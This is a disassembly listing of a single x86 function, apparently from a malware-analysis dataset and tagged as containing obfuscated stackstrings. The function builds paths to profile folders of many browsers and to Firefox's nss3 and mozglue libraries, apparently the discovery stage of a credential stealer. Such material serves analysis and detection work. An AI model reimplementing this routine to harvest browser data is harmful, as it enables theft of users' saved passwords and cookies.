Function at 0x6308b60c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov eax, 0x582c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
sub esp, eax
cmp byte [0x631e3ae0], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x581c], eax
je 0x6308b8ce
cmp byte [0x631e3ae1], 0
jne 0x6308b6a6
jmp 0x6308b8ce
add edi, 0x100
cmp edi, 0x63161e80
je 0x6308b678
lea eax, [ebp - 0x4818]
mov dword [esp], edi
mov dword [esp + 4], eax
call fcn.6308a378
test al, al
je 0x6308b642
lea eax, [ebp - 0x4818]
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.6308b42d
lea edi, [ebp - 0x4018]
mov esi, 0x63161680
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.6308a378
test al, al
jne 0x6308bb61
add esi, 0x100
mov eax, 0x63161a80
cmp eax, esi
jne 0x6308b683
lea ebx, [ebp - 0x3018]
xor eax, eax
mov ecx, 0x200
lea esi, [ebp - 0x2818]
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x63160e80
mov dword [esp], ebx
mov edi, esi
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.Mozilla_
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], 0x63160e80
lea edi, [ebp - 0x3818]
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
mov dword [esp + 4], str.Moonchild_Productions_
call sub.msvcrt.dll_wcscat
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.63086a99
mov eax, dword [ebp + 8]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.63086a99
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3818]
mov dword [esp + 4], 0x28
mov edi, ebx
mov dword [esp], eax
call fcn.6308559f
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3818]
mov dword [esp], ebx
mov edi, esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.Local_Settings_
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
mov dword [esp + 4], str.Google_
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3818]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
mov dword [esp + 4], str.Local_Settings_
call sub.msvcrt.dll_wcscat
mov dword [esp], esi
lea esi, [ebp - 0x2018]
mov dword [esp + 4], str.Chromium_
call sub.msvcrt.dll_wcscat
mov edi, esi
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3818]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
mov dword [esp + 4], str.Local_Settings_
call sub.msvcrt.dll_wcscat
mov dword [esp], esi
lea esi, [ebp - 0x1818]
mov dword [esp + 4], str.Torch_
call sub.msvcrt.dll_wcscat
mov edi, esi
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3818]
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
mov dword [esp + 4], str.Local_Settings_
call sub.msvcrt.dll_wcscat
mov dword [esp], esi
lea esi, [ebp - 0x1018]
mov dword [esp + 4], str.comodo_
call sub.msvcrt.dll_wcscat
mov edi, esi
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], 0x63160e80
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
lea esi, [ebp - 0x818]
mov dword [esp + 4], str.Spark_
call sub.msvcrt.dll_wcscat
mov edi, esi
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], 0x63160e80
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
lea esi, [ebp - 0x18]
mov dword [esp + 4], str.Baidu_
call sub.msvcrt.dll_wcscat
mov eax, dword [ebp + 8]
mov dword [esp], ebx
add ebx, 0x800
mov dword [esp + 4], eax
call fcn.63086ee4
cmp esi, ebx
jne 0x6308b8b0
jmp 0x6308bba6
lea ebx, [ebp - 0x5818]
xor eax, eax
mov ecx, 0x200
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp], str.HOMEDRIVE
call dword [sym.imp.msvcrt.dll__wgetenv]
test eax, eax
je 0x6308b906
mov dword [esp + 8], eax
mov dword [esp + 4], 0x630c4556
mov dword [esp], ebx
call fcn.63081580
jmp 0x6308b916
mov dword [esp + 4], 0x630c4960
mov dword [esp], ebx
call fcn.63081580
lea ebx, [ebp - 0x3018]
xor eax, eax
mov ecx, 0x200
lea esi, [ebp - 0x5818]
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x6315e480
mov dword [esp], ebx
call sub.msvcrt.dll_wcscpy
lea edx, [ebp - 0x2818]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x5820], edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x5820]
mov dword [esp + 4], str.Program_Files__x86_Mozilla_Firefox_
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
lea edx, [ebp - 0x2018]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x5820], edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x5820]
mov dword [esp + 4], str.Program_FilesMozilla_Firefox_
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
lea edx, [ebp - 0x1818]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x5820], edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x5820]
mov dword [esp + 4], str.Program_FilesWaterfox_
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
lea edx, [ebp - 0x1018]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x5820], edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], esi
mov dword [esp], edx
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x5820]
mov dword [esp + 4], str.Program_Files__x86__
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
lea edx, [ebp - 0x818]
xor eax, eax
mov ecx, 0x200
mov edi, edx
mov dword [ebp - 0x5820], edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], esi
mov dword [esp], edx
lea esi, [ebp - 0x18]
call sub.msvcrt.dll_wcscpy
mov edx, dword [ebp - 0x5820]
mov dword [esp + 4], str.Program_Files_
mov dword [esp], edx
call sub.msvcrt.dll_wcscat
cmp byte [0x631e3ae0], 0
je 0x6308bb8b
cmp byte [0x631e3ae1], 0
je 0x6308bb8b
mov al, byte [ebp - 0x581c]
cmp byte [0x631e3ae1], al
jae 0x6308b6a6
lea ebx, [ebp - 0x5018]
xor eax, eax
mov ecx, 0x200
lea esi, [ebp - 0x4018]
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x6315e480
mov dword [esp], ebx
lea edi, [ebp - 0x4818]
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.nss3.gz
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x4818]
mov dword [esp + 4], 0x6315e480
mov edi, esi
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy
lea eax, [ebp - 0x4818]
mov dword [esp + 4], str.mozglue.gz
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov dword [esp + 4], 0x6315e480
call sub.msvcrt.dll_wcscpy
mov dword [esp], esi
lea esi, [ebp - 0x3818]
mov dword [esp + 4], str.nss3.dll
call sub.msvcrt.dll_wcscat
mov edi, esi
xor eax, eax
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x6315e480
mov dword [esp], esi
mov edi, 0x63161a80
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], str.mozglue.dll
mov dword [esp], esi
call sub.msvcrt.dll_wcscat
jmp 0x6308b650
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.6308b42d
mov dword [esp], 0x6315e480
call fcn.63085806
cmp byte [0x631e3ae1], 0
je 0x6308b697
jmp 0x6308b6a6
mov dword [esp], ebx
add ebx, 0x800
call fcn.63085806
cmp esi, ebx
jne 0x6308ba5d
jmp 0x6308ba77
mov edi, dword [ebp + 8]
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
add esp, 0x582c
mov eax, ecx
not eax
pop ebx
dec eax
pop esi
pop edi
pop ebp
ret